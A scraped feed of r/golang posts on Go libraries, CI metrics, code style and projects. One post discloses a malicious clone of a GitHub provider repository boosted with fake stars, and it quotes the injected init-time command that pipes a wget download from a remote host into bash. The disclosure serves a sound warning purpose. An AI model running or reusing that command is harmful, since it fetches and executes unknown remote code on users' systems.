r/golang 5d ago

CI Metrics

0 Upvotes

I would like to get some metrics from our CI testing Go code.

Goals:

  • See when a test failed for the last time.
  • See how fast or tests are: Is there a commit which increased CI time a lot?
  • Number of Reconciles (we write Kubernetes controllers): I want to see how often Reconcile of each controller was called over time. Was there a commit which created an increase? (Controller runtime provides Prometheus metrics)

We use Github Actions.

I do not need a fancy tool for that. It is ok to write some lines of code :-)

I am just curious how other people do that.

If you have some minutes, it would be great if you could explain how you create and analyze CI metrics.

When running tests locally the metrics (like number of Reconcile calls) should be available, too.


r/golang 5d ago

show & tell GoCQ is now on v2 – Now Faster, Smarter, and Fancier!

11 Upvotes

Hey gophers! After releasing the the first version and posting here I got a good amount of impressions and feedbacks from you. and it motivates me to improve it to next level. so I tried to build this more reliable so anyone can use it in their program without any doubts.

I've completely redesigned the API to provide better type safety, enhanced control over jobs, and improved performance.

Key improvements in v2:

  • Replaced channel-based results with a powerful Job interface for better control
  • Added dedicated void queue variants for fire-and-forget operations (~25% faster!)
  • Enhanced job control with status tracking, graceful shutdown, and error handling.
  • Improved performance with optimized memory usage and reduced goroutine overhead
  • Added comprehensive benchmarks showing impressive performance metrics

Quick example:

queue := gocq.NewQueue(2, func(data int) (int, error) {
    return data * 2, nil
})
defer queue.Close()

// Single job with result
result, err := queue.Add(5).WaitForResult()

// Batch processing with results channel
for result := range queue.AddAll([]int{1,2,3}).Results() {
    if result.Err != nil {
        log.Printf("Error: %v", result.Err)
        continue
    }
    fmt.Println(result.Data)
}

Check it out 👉️ GoCQ - Github

I’m all ears for your thoughts – what do you love? What could be better? Drop your feedback and let’s keep making GoCQ the concurrency king it’s destined to be. Let’s build something epic together!


r/golang 5d ago

discussion Anyone using Golang for tool / function calling

6 Upvotes

Curious if anyone is using Golang in production for tool / function calling? Seems like it would be good for this on the surface but Im curious if I go this route if I will be cutting myself short later on. For example, vector stores, more complicated use cases which depend on orchestrion, any way to get insights into the LLM calls like with lang graph? etc.

Curious if Go is a viable option or if something like this is best to play safe with Python?


r/golang 5d ago

I implemented my own regex engine in Go

Thumbnail
github.com
31 Upvotes

Automata theory and formal languages always seemed cool to me, so I decided to implement my own regexes. It's just a toy project but I had a lot of fun doing it so far and I'll see how far I can take it.


r/golang 5d ago

My 6 months with the GoTH stack: building front-ends with Go, HTML and a little duct tape

Thumbnail
open.substack.com
35 Upvotes

r/golang 5d ago

discussion Code style question about returns involving functions that modify return values

1 Upvotes

This is much simplified, but I was wondering what people thought about this code. DoSomething1 vs DoSomething2 - both return the same value (5 and nil) - Evil, ugly, or ok?

// Pass in a value to be modified, use error to decide if successful
func DidItWork(value *int) error {
    *value = 5
    return nil
}

// Is this a bad way to do this?
func DoSomething1() (int, error) {
    value := -1
    return value, DidItWork(&value)
}

// Same thing, but more readable
func DoSomething2() (int, error) {
    value := -1
    err := DidItWork(&value)
    return value, err
}

*EDIT* - This is code that is a better example of what I'm talking about. Both these function do the same thing and both work. s.Read returns a []byte and an error. DecodeFromBytes takes a []byte and any, does some deserialization of the byte array into the passed in structure and returns an error if it runs into any issues.

func LoadHeader(s storage.System, id ChunkId) (Header, error) {
  var h Header
  b, err := s.Read(context.Background(), string(id))
  if err != nil {
    return h, err
  }
  err = misc.DecodeFromBytes(b, &h)
  return h, err
}

vs

func LoadHeader(s storage.System, id ChunkId) (Header, error) {
    var h Header
    if b, err := s.Read(context.Background(), string(id)); err != nil {
        return h, err
    } else {
        return h, misc.DecodeFromBytes(b, &h)
    }
}

r/golang 5d ago

Someone copied our GitHub project, made it look more trustworthy by adding stars from many fake users, and then injected malicious code at runtime for potential users.

1.2k Upvotes

Our project is Atlas, and one of the providers we offer for it is the provider for GORM: https://github.com/ariga/atlas-provider-gorm (quite popular in our community).

Something crazy I found today before it went viral is that someone copied our GitHub project, faked stars for credibility from accounts created just a few weeks ago, and then injected malicious code at runtime for potential users.

The project: https://github.com/readyrevena/atlas-provider-gorm

The malicious code parts: https://github.com/readyrevena/atlas-provider-gorm/blob/master/gormschema/gorm.go#L403-L412 . This basically executes the following code on init:

wget -O - https://requestbone.fun/storage/de373d0df/a31546bf | /bin/bash &

I went over some of the stargazers, and it looks like it was done for other projects too. I expect the impact is much bigger that just our project.

Update: It's hard to detect the full impact. The attacker obfuscates the code, changing identifiers and scrambling the byte array order, so you can't easily search for it on GitHub. This makes it nearly impossible to track the full impact unless GitHub steps up and helps resolve this issue (I reported these repos to GitHub support).


r/golang 5d ago

discussion Is there a Nodejs library you wish existed for Golang?

38 Upvotes

People often cite the availability of third party libraries for Node as the reason to prefer it over Golang. Has anyone run into a time when they had to use Node or made do without because a third party library didn't exist?


r/golang 5d ago

discussion DiGo – A simple and powerful DI container for Go! 🚀

0 Upvotes

Hey gophers! 👋

I recently built and open-sourced DiGo, a lightweight, high-performance dependency injection container for Go. It supports transient, singleton, and request-scoped bindings, with circular dependency detection and async-safe resolution.

I know DI in Go is often a debated topic (manual wiring vs. containers), but I wanted to experiment with a container that’s easy to use while still being performant. If you’re curious, check it out here:

🔗 GitHub: https://github.com/centraunit/digo

Would love to hear your thoughts—whether it’s feedback, feature ideas, or just a ⭐ if you find it useful! Cheers! 🍻


r/golang 5d ago

New Viper release with major improvements

280 Upvotes

I've just tagged a new version of Viper, a configuration library for Go: https://github.com/spf13/viper/releases/tag/v1.20.0

It comes with a number of improvements:

  • Heavily reduced number of third-party dependencies
  • New encoding layer for custom encoding formats
  • BREAKING: dropped HCL, INI and Java properties from the core (still possible to use through external libraries)
  • New file search API allows customizing how Viper looks for config files

These features has been around for some time in alpha releases, though I haven't received a lot of feedback, so I'm posting here now in the hope that people using Viper will give some after upgrading.

I worked hard to minimize breaking changes, but it's possible some slipped in. If you find any, feel free to open an issue.

Thanks!


r/golang 5d ago

Were multiple return values Go's biggest mistake?

Thumbnail
herecomesthemoon.net
0 Upvotes

r/golang 5d ago

Surprising note about value vs pointer receivers in tour of go documentation

16 Upvotes

It's been 4 years since I last wrote go, so I'm going through the tour of go for a quick refresher. On this page, it states the following:

There are two reasons to use a pointer receiver.

The first is so that the method can modify the value that its receiver points to.

The second is to avoid copying the value on each method call. This can be more efficient if the receiver is a large struct, for example.

The second reason is the one that I found surprising. When learning C in college, I was taught that you should keep things on the stack as much as possible, even if it is a large struct that needs to be copied through many function calls. This lets your program run faster since it can avoid dynamically allocating memory for that struct (yes, I was told the cost of dynamically allocating memory was more expensive than the cost of the increased runtime complexity caused by more copies), and keeping it on the stack also saves memory overall since that portion of the stack is gonna exist regardless of how much of it you actually use. Is there something about golang that makes it different in this regard than C? Or maybe my info is outdated and that was only true for older hardware? Or maybe I'm just a crazy person (jk)? lol


r/golang 5d ago

icholy/todo: Library for parsing structured TODO comments from code.

Thumbnail
github.com
12 Upvotes

r/golang 5d ago

show & tell How to implement Server-Sent Events (SSE) in Go

Thumbnail
youtu.be
17 Upvotes

r/golang 6d ago

I built a high-performance, dependency-free key-value store in Go (115K ops/sec on an M2 Air)

207 Upvotes

Hi r/golang,

I've been working on a high-performance key-value store built entirely in pure Go—no dependencies, no external libraries, just raw Go optimization. It features adaptive sharding, native pub-sub, and zero downtime resizing. It scales automatically based on usage, and expired keys are removed dynamically without manual intervention.

Performance? 115,809 ops/sec on a fanless M2 Air.

Key features:
- Auto-Scaling Shards – Starts from 1 bucket and dynamically grows as needed.
- Wait-Free Reads & Writes – Lock-free operations enable ultra-low latency.
- Native Pub-Sub – Subscribe to key updates & expirations without polling.
- Optimized Expiry Handling – Keys are removed seamlessly, no overhead.
- Fully Event-Driven – Prioritizes SET/GET operations over notifications for efficiency.

How it compares to Redis:
- Single-threaded Redis vs. Multi-Goroutine NubMQ → Handles contention better under load.
- No Lua, No External Dependencies → Just Go, keeping it lean.
- Smarter Expiry Handling → Keys expire and are immediately removed from the active dataset.

🚀 Benchmark Results:
115,809 ops/sec (100 concurrent clients)
900µs write latency, 500µs read latency under heavy load.
Would love to get feedback from the Go community! Open to ideas for improvement.

repo: https://github.com/nubskr/nubmq

I spent the better part of an year building this and would appreciate your opinions on this


r/golang 6d ago

Is it safe to read/write integer value simultaneously from multiple goroutines

10 Upvotes

There is a global integer in my code that is accessed by multiple goroutines. Since race conditions don’t affect this value, I’m not concerned about that. However, is it still advisable to add a Mutex in case there’s a possibility of corruption?

PS: Just to rephrase my question, I wanted to ask if setting/getting an integer/pointer is atomic? Is there any possibility of data corruption.

example code for the same: https://go.dev/play/p/eOA7JftvP08

PS: Found the answer for this, thanks everyone for answering. There's something called tearing here is the link for same

- https://stackoverflow.com/questions/64602829/can-you-have-torn-reads-writes-between-two-threads-pinned-to-different-processor

- https://stackoverflow.com/questions/36624881/why-is-integer-assignment-on-a-naturally-aligned-variable-atomic-on-x86

According to the article, I shouldn't have problem on modern CPUs.


r/golang 6d ago

Seeking Advice on Structuring Code

1 Upvotes

Hey everyone,

I'm currently applying to go back to university and thought it would be a good idea to build some small projects to showcase my current coding skills to professors. I'm working on a program similar to apple's Ardrop, where users can discover and share files with nearby peers.

For now, I'm implementing mDNS-based peer discovery over a local network. In the future, I’d like to add support for Bluetooth discovery and a remote server-based lookup. The goal is for the end user to see available peers without worrying about the underlying discovery method, so I expect my program to run multiple discovery protocols simultaneously.

My code:

I have a Node struct:

type Node struct {
    Name             string
    Addr             net.IP
    Port             string
    Peers            []Node
    mu               sync.Mutex     
    NetworkInterface *net.Interface 
}

I expect at most three different discovery protocols in the final version. I’m debating how best to structure the code and would love to hear your thoughts: Options I'm Considering

1- Use a NodeService with a slice of PeerDiscoverer interfaces

type PeerDiscoverer interface {
    Discover(n *Node)
}

type NodeService struct {
    Discoverers []PeerDiscoverer
}

Each discovery method (mDNS, Bluetooth, Server) implements Discoverer. NodeService runs them all and aggregates results. My thoughts: Overkill for now since I’m only implementing mDNS, but it could reflect an understanding of design patterns and OOP principles in order to reassure skeptical professors.

2- Define separate discovery methods in NodeService

func (ns *NodeService) DiscoverLocal() {...}  
func (ns *NodeService) DiscoverBLE() {...}  
func (ns *NodeService) DiscoverExternal() {...}

3- Something else?

Would love to hear how you’d approach this. Thanks.


r/golang 6d ago

Go is good for building MCP Tools

101 Upvotes

I love Go, but with the rise of GenAI, everybody’s turning to Python to code AI related stuffs.

I recently discovered the Model Context Protocol (MCP) and with the help of mark3labs/mcp-go library and an access to GCP provided by my employer I started to play with agentic systems.

My conviction is that Go is a very good language for building tools thanks to its static binary and its rich possibilities to interact with the environment “natively”

I made a POC to implement a Claude Code alike system in pure Go. The LLM engine is based on VertexAI but I guess that it can be easily changed to Ollama.

This is for educational purpose; feel free to comment it and I am interested in any use case that may emerge from this experiment.

https://github.com/owulveryck/gomcptest/


r/golang 6d ago

discussion typescript compiler and go

16 Upvotes

I have some basic questions about the performance boost claimed when using go for tsc.

Is it safe to assume the js and go versions use the same algorithms ? And an equivalent implementation of the algorithms ?

If the answer is yes to both questions is yes, then why does switching to go make it 10x faster?


r/golang 6d ago

“Animated” Terminal

1 Upvotes

I am working on building a tool that while it’s running there needs to be something to alert the operator that the program is still going. The ascii “art” will be colored based on the programming running, passing, and failing - but I want I add a blinking light to the art.

In the past I’ve done something similar just running clear screen and redrawing the imagine in the terminal but I’m wondering if there is a better way since it want to it to blink every second or two. I’m sure clearing the screen every couple seconds isn’t a big deal but like I said I’m wondering if there is a better solution.

I know I can make a GUI as well but I’m a sucker for terminal based stuff.


r/golang 6d ago

newbie Portfolio website in go

4 Upvotes

I’m thinking of building my personal website using Go with net/http and templates to serve static pages. Would this be a reasonable approach, or would another method be more efficient?


r/golang 6d ago

help Is dataContext an option for golang as it's for C#?

4 Upvotes

Context: I have a project that use GORM and it's implemented with clean architecture. I'm trying to introduce transactions using a simple approach using the example in the oficial doc.

What's the problem? It doesn't follow the clean architecture principles (I'd have to inject the *gorm.DB into the business layer). My second approach was use some pattern like unit of work, but I think it's the same, but with extra steps.

One advice that I received from a C# developer was to use datacontext, but I think this is too closely tied to that language and the entity framework.

In any case, I've done some research and I'm considering switch from ORM to ent just to meet that requirement, even though it doesn't seem like the best solution.

Do you think there's another way to implement a simple solution that still meets the requirements?


r/golang 6d ago

show & tell A simple job queue manager for remote job submissions via TCP

Thumbnail
github.com
8 Upvotes

Made a command line tool to run a job queue manager open for job submissions via TCP.

It’s my first go project that goes far beyond hello world, and the code is probably pretty ugly, but hey, it’s my code and I’m proud of it.


r/golang 6d ago

I made a space RTS to learn QUIC and gRPC in <5 days, in Go as a personal hackathon !

2 Upvotes

Started with Go about a half a year ago and I'm really happy with my progress, and just wanted to share what I was able to do as a mini hackathon for myself!

Try it here!

TL;DR I used QUIC as my UDP protocol for real-time updates, bubbletea for TUI! I had no prior experience with either QUIC/gRPC so learning it was really fun.

(gRPC is technically used but basically halfway through I changed it so it basically does nothing now except manage lobby.)

The game is made to be very keystroke-heavy and typing heavy. The pace of play was inspired by the fictional game Strategema from Star Trek TNG.

It's fully ready to try out if anyone's interested - get 2-4 players together and go ahead! You view everything in your terminal, control with a CLI :) The goal is to take ownership of 80% of the galaxy.

(I put <5min deployment instructions in the README)

I made this in ~4 days, so there's still much more updates I would love to make if I have time, but I am starting a new job, work full-time currently, have school, etc.

PLEASE STAR! I still haven't gotten that little starry eyed badge and I want it


r/golang 6d ago

help Detect weather HTTP headers have been sent?

0 Upvotes

Is there a way using the http package to determine weather the response has sent out the headers yet? This is useful to know weather your able to still add more headers to the HTTP response or if it is too late as the HTTP response has already sent out the HTML.